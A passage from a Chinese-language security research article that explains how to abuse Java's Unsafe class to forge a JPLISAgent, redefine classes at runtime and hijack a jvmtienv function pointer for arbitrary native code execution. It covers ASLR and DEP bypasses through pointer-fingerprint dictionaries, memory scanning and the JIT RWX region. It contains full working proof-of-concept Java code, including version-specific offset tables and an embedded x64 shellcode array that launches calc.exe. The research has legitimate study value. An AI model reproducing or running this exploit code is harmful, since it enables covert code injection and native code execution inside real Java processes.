但是,这部分指针并不可复现,也就是说这些指针相对于allocateMemory的偏移量和指针值都不是固定的,也就是说我们根本无法从这些动态的指针里去推导出一个固定的jvm模块基址。当对一个事物的内部运作机制不了解时,最高效的方法就是利用统计学去解决问题。于是我通过开发辅助程序,多次运行程序,收集大量的前后指针列表,这些指针中有大量是重复出现的,然后根据指针末尾两个字节,做了一个字典,当然只做2个字节的匹配,很容易出错,于是我又根据这些大量指针指向的指针,取末尾两个字节,又做了一个和前面一一对应的字典。这样我们就制作了一个二维字典,并根据指针重复出现的频次排序。POC运行的时候,会以allocateMemory开始,往前往后进行字典匹配,可以准确的确定jvm模块的基址。部分字典结构如下:"'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70' 每个条目含有3个元素,第一个为指针末尾2字节,第二个元素为指针指向的指针末尾两个字节,第三个元素为指针与baseAddress的偏移量。基址确定了,jvmtienv的具体地址就确定了。当然拿到了jvm的地址,加上JavaVM的偏移量便可以直接获得JavaVM的地址。

开始组装

拿到jvm模块的基址后,就万事俱备了,下面准备装配JPLISAgent对象,代码如下:

 private static long getAgent(long jvmtiAddress)    {        Unsafe unsafe = getUnsafe();        long agentAddr=unsafe.allocateMemory(0x200);        long jvmtiStackAddr=unsafe.allocateMemory(0x200);        unsafe.putLong(jvmtiStackAddr,jvmtiAddress);        unsafe.putLong(jvmtiStackAddr+8,0x30010100000071eel);
        unsafe.putLong(jvmtiStackAddr+0x168,0x9090909000000200l);        System.out.println("long:"+Long.toHexString(jvmtiStackAddr+0x168));        unsafe.putLong(agentAddr,jvmtiAddress-0x234f0);
        unsafe.putLong(agentAddr+0x8,jvmtiStackAddr);        unsafe.putLong(agentAddr+0x10,agentAddr);        unsafe.putLong(agentAddr+0x18,0x00730065006c0000l);
        //make retransform env        unsafe.putLong(agentAddr+0x20,jvmtiStackAddr);        unsafe.putLong(agentAddr+0x28,agentAddr);        unsafe.putLong(agentAddr+0x30,0x0038002e00310001l);
        unsafe.putLong(agentAddr+0x38,0);        unsafe.putLong(agentAddr+0x40,0);        unsafe.putLong(agentAddr+0x48,0);        unsafe.putLong(agentAddr+0x50,0);
        unsafe.putLong(agentAddr+0x58,0x0072007400010001l);        unsafe.putLong(agentAddr+0x60,agentAddr+0x68);        unsafe.putLong(agentAddr+0x68,0x0041414141414141l);        return agentAddr;    }

入参为上一阶段获取的jvmti的地址,返回值为JPLISAgent的地址。

完整POC如下(跨平台):

package net.rebeyond;

import sun.misc.Unsafe;
import java.lang.instrument.ClassDefinition;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.*;
public class PocWindows {    public static void main(String[] args) throws Throwable {
        Unsafe unsafe = getUnsafe();
        Thread.sleep(2000);        //System.gc();        //Thread.sleep(2000);        long allocateMemory = unsafe.allocateMemory(3);        System.out.println("allocateMemory:" + Long.toHexString(allocateMemory));        String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'";        patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'"; //for windows_java8_301_x64        //patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64        long jvmtiOffset=0x79a220; //for java_8_271_x64        jvmtiOffset=0x78a280; //for windows_java_8_301_x64        //jvmtiOffset=0xf9c520; //for linux_java_8_301_x64        List<Map<String, String>> patternList = new ArrayList<Map<String, String>>();        for (String pair : patterns.split(",")) {            String offset = pair.split(":")[0].replace("'", "").trim();            String value = pair.split(":")[1].replace("'", "").trim();            String delta = pair.split(":")[2].replace("'", "").trim();            Map pattern = new HashMap<String, String>();            pattern.put("offset", offset);            pattern.put("value", value);            pattern.put("delta", delta);            patternList.add(pattern);        }

        int offset = 8;        int targetHexLength=8; //on linux,change it to 12.        for (int j = 0; j < 0x2000; j++)  //down search        {
            for (int x : new int[]{-1, 1}) {                long target = unsafe.getAddress(allocateMemory + j * x * offset);                String targetHex = Long.toHexString(target);                if (target % 8 > 0 || targetHex.length() != targetHexLength) {                    continue;                }                if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) {                    continue;                }                System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j);
                for (Map<String, String> patternMap : patternList) {                    targetHex = Long.toHexString(target);
                    if (targetHex.endsWith(patternMap.get("offset"))) {                        String targetValueHex = Long.toHexString(unsafe.getAddress(target));                        System.out.println("[!]bingo.");                        if (targetValueHex.endsWith(patternMap.get("value"))) {                            System.out.println("[ok]i found agent env:start get " + Long.toHexString(target) + ",at  :" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j);                            System.out.println("[ok]jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16)));                            System.out.println("[ok]jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset));                            //long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30;                            long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset;                            long agentAddress = getAgent(jvmtiAddress);                            System.out.println("agentAddress:" + Long.toHexString(agentAddress));                            Bird bird = new Bird();                            bird.sayHello();                            doAgent(agentAddress);
                            //doAgent(Long.parseLong(address));
                            bird.sayHello();                            return;                        }
                    }                }
            }
        }    }
    private static long getAgent(long jvmtiAddress) {        Unsafe unsafe = getUnsafe();        long agentAddr = unsafe.allocateMemory(0x200);        long jvmtiStackAddr = unsafe.allocateMemory(0x200);        unsafe.putLong(jvmtiStackAddr, jvmtiAddress);        unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel);
        unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l);        System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168));        unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0);
        unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr);        unsafe.putLong(agentAddr + 0x10, agentAddr);        unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l);
        //make retransform env        unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr);        unsafe.putLong(agentAddr + 0x28, agentAddr);        unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l);
        unsafe.putLong(agentAddr + 0x38, 0);        unsafe.putLong(agentAddr + 0x40, 0);        unsafe.putLong(agentAddr + 0x48, 0);        unsafe.putLong(agentAddr + 0x50, 0);
        unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l);        unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68);        unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l);        return agentAddr;    }
    private static void doAgent(long address) throws Exception {        Class cls = Class.forName("sun.instrument.InstrumentationImpl");        for (int i = 0; i < cls.getDeclaredConstructors().length; i++) {            Constructor constructor = cls.getDeclaredConstructors()[i];            constructor.setAccessible(true);            Object obj = constructor.newInstance(address, true, true);            for (Field f : cls.getDeclaredFields()) {                f.setAccessible(true);                if (f.getName().equals("mEnvironmentSupportsRedefineClasses")) {                    //System.out.println("mEnvironmentSupportsRedefineClasses:" + f.get(obj));                }            }            for (Method m : cls.getMethods()) {
                if (m.getName().equals("redefineClasses")) {                    //System.out.println("redefineClasses:" + m);                    String newBirdClassStr = "yv66vgAAADIAHwoABgARCQASABMIABQKABUAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG5ldC9yZWJleW9uZC9CaXJkOwEACHNheUhlbGxvAQAKU291cmNlRmlsZQEACUJpcmQuamF2YQwABwAIBwAZDAAaABsBAAhjaGFuZ2VkIQcAHAwAHQAeAQARbmV0L3JlYmV5b25kL0JpcmQBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAAwALAAAADAABAAAABQAMAA0AAAABAA4ACAABAAkAAAA3AAIAAQAAAAmyAAISA7YABLEAAAACAAoAAAAKAAIAAAAGAAgABwALAAAADAABAAAACQAMAA0AAAABAA8AAAACABA=";                    Bird bird = new Bird();                    ClassDefinition classDefinition = new ClassDefinition(                            bird.getClass(),                            Base64.getDecoder().decode(newBirdClassStr));                    ClassDefinition[] classDefinitions = new ClassDefinition[]{classDefinition};                    try {                        //Thread.sleep(5000);                        m.invoke(obj, new Object[]{classDefinitions});                    } catch (Exception e) {                        e.printStackTrace();                    }
                }            }            //System.out.println("instrument obj:" + obj);            //System.out.println("constr:" + cls.getDeclaredConstructors()[i]);        }    }
    private static Unsafe getUnsafe() {        Unsafe unsafe = null;
        try {            Field field = Unsafe.class.getDeclaredField("theUnsafe");            field.setAccessible(true);            unsafe = (Unsafe) field.get(null);        } catch (Exception e) {            throw new AssertionError(e);        }        return unsafe;    }
}

Bird.java

package net.rebeyond;
public class Bird {    public void sayHello()    {        System.out.println("hello!");    }}

编译,运行:

上述环境是win10+Jdk1.8.0_301_x64,注释中内置了linux+jdk1.8.0_301_x64和win10+Jdk1.8.0_271_x64指纹,如果是其他OS或者JDK版本,指纹库需要对应更新。

可以看到,我们成功通过纯Java代码实现了动态修改类字节码。

按照惯例,我提出一种新的技术理论的时候,一般会直接给出一个下载即可用的exp,但是现在为了合规起见,此处只给出demo,不再提供完整的利用工具。

Java跨平台任意Native代码执行

确定入口

上文中,我们介绍了在Windows平台下巧妙利用instrument的不恰当实现来进行进程注入的技术,当注入的目标进行为-1时,可以往当前Java进程注入shellcode,实现不依赖JNI执行任意Native代码。但是这个方法仅适用于Windows平台。只适用于Windows平台的技术是不完整的:)

上一小节我们在伪造JPLISAgent对象的时候,留意到redefineClasses函数里面有这种代码:

allocate函数的第一个参数是jvmtienv指针,我们跟进allocate函数:

void *allocate(jvmtiEnv * jvmtienv, size_t bytecount) {    void *          resultBuffer    = NULL;    jvmtiError      error           = JVMTI_ERROR_NONE;
    error = (*jvmtienv)->Allocate(jvmtienv,                                bytecount,                                (unsigned char**) &resultBuffer);    /* may be called from any phase */    jplis_assert(error == JVMTI_ERROR_NONE);    if ( error != JVMTI_ERROR_NONE ) {        resultBuffer = NULL;    }    return resultBuffer;}

可以看到最终是调用的jvmtienv对象的一个成员函数,先看一下真实的jvmtienv是什么样子:

对象里是很多函数指针,看到这里,如果你经常分析二进制漏洞的话,可能会马上想到这里jvmtienv是我们完全可控的,我们只要在伪造的jvmtienv对象指定的偏移位置覆盖这个函数指针即可实现任意代码执行。

构造如下POC:

先动态调试看一下我们布局的payload:

0x219d1b1a810为我们通过unsafe.allocateMemory分配内存的首地址,我们从这里开始布局JPLISAgent对象,0x219d1b1a818处的值0x219d1b1a820是指向jvmtienv的指针,跟进0x219d1b1a820,其值为指向真实的jvmtienv对象的指针,这里我们把他指向了他自己0x219d1b1a820,接下来我们就可以在0x219d1b1a820处布置最终的jvmtienv对象了。根据动态调试得知allocate函数指针在jvmtienv对象的偏移量为0x168,我们只要覆盖0x219d1b1a820+0x168(0x219d1b1a988)的值为我们shellcode的地址即可将RIP引入shellcode。此处我们把0x219d1b1a988处的值设置为0x219d1b1a990,紧跟在0x219d1b1a988的后面,然后往0x219d1b1a990写入shellcode。

编译,运行:

进程crash了,报的异常是意料之中,仔细看下报的异常:

#EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00000219d1b1a990, pid=24840, tid=0x0000000000005bfc

内存访问异常,但是pc的值是0x00000219d1b1a990,这就是我们shellcode的首地址。说明我们的payload布置是正确的,只不过系统开启了NX(DEP),导致我们没办法去执行shellcode,下图是异常的现场,可见RIP已经到了shellcode:

绕过NX(DEP)

上文的POC中我们已经可以劫持RIP,但是我们的shellcode部署在堆上,不方便通过ROP关闭DEP。那能不能找一块rwx的内存呢?熟悉浏览器漏洞挖掘的朋友都知道JIT区域天生RWE,而Java也是有JIT特性的,通过分析进程内存布局,可以看到Java进程确实也存在这样一个区域,如下图:

我们只要通过unsafe把shellcode写入这个区域即可。但是,还有ASLR,需要绕过ASLR才能获取到这块JIT区域。

绕过ASLR

在前面我们已经提到了一种通过匹配指针指纹绕过ASLR的方法,这个方法在这里同样适用。不过,这里我想换一种方法,因为通过指纹匹配的方式,需要针对不同的Java版本做适配,还是比较麻烦的。这里采用了搜索内存的方法,如下:

package net.rebeyond;


import sun.misc.Unsafe;
import java.lang.instrument.ClassDefinition;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;
public class PocForRCE {    public static void main(String [] args) throws Throwable {
        byte buf[] = new byte[]                {                        (byte) 0x41, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,                        (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,                        (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,                        (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,                        (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,                        (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,                        (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,                        (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,                        (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,                        (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,                        (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,                        (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,                        (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,                        (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,                        (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,                        (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,                        (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,                        (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,                        (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,                        (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,                        (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,                        (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,                        (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,                        (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,                        (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,                        (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,                        (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,                        (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,                        (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,                        (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,                        (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,                        (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,                        (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00                };
        Unsafe unsafe = null;
        try {            Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");            field.setAccessible(true);            unsafe = (sun.misc.Unsafe) field.get(null);        } catch (Exception e) {            throw new AssertionError(e);        }

        long size = buf.length+0x178; // a long is 64 bits (http://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html)        long allocateMemory = unsafe.allocateMemory(size);        System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));
        Map map=new HashMap();        map.put("X","y");        //unsafe.putObject(map,allocateMemory+0x10,ints);        //unsafe.putByte(allocateMemory,);        PocForRCE poc=new PocForRCE();        for (int i=0;i<10000;i++)        {            poc.b(33);        }        Thread.sleep(2000);        for (int k=0;k<10000;k++)        {            long tmp=unsafe.allocateMemory(0x4000);            //unsafe.putLong(tmp+0x3900,tmp);            //System.out.println("alloce:"+Long.toHexString(tmp));        }
        long shellcodeBed = 0;        int offset=4;        for (int j=-0x1000;j<0x1000;j++)  //down search        {
            long target=unsafe.getAddress(allocateMemory+j*offset);            System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j);            if (target%8>0)            {                continue;            }            if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffl))            {
                if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l))                {                    continue;                }                if (Long.toHexString(target).indexOf("000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb"))                {                    System.out.println("maybe error address,skip "+Long.toHexString(target));                    continue;                }                System.out.println("BYTE:"+unsafe.getByte(target));                //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j));                if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48||unsafe.getByte(target)==(byte)0x66)                {                    System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));                    shellcodeBed=target;                    break;                }

            }
        }
        if (shellcodeBed==0)        {            for (int j=-0x100;j<0x800;j++)  //down search            {
                long target=unsafe.getAddress(allocateMemory+j*offset);                System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j);                if (target%8>0)                {                    continue;                }                if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffffl))                {
                    if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l))                    {                        continue;                    }                    if (Long.toHexString(target).indexOf("0000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb"))                    {                        System.out.println("maybe error address,skip "+Long.toHexString(target));                        continue;                    }                    System.out.println("BYTE:"+unsafe.getByte(target));                    //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j));                    if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48)                    {                        System.out.println("get bigger cache address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));                        shellcodeBed=target;                        break;                    }
                }
            }        }        System.out.println("find address end,address is "+Long.toHexString(shellcodeBed)+" mod 8 is:"+shellcodeBed%8);

        String address="";
        allocateMemory=shellcodeBed;        address=allocateMemory+"";        Class cls=Class.forName("sun.instrument.InstrumentationImpl");
